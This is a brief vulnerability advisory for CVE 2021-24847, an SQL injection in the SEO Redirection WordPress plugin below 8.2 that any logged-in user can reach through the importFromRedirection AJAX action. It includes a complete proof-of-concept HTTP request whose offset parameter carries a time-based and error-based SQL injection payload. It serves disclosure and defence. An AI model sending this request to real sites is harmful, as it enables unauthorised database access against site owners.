SEO Redirection < 8.2 – Subscriber+ SQL Injection | CVE 2021-24847

Description

The importFromRedirection AJAX action of the plugin, available to any authenticated user, does not properly sanitise the offset parameter before using it in a SQL statement, leading an SQL injection when the redirection plugin is also installed

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

action=importFromRedirection&offset=1+procedure+analyse(updatexml(rand(),concat(0x3a,benchmark(20000000,sha1(1))),0x20),1)--+-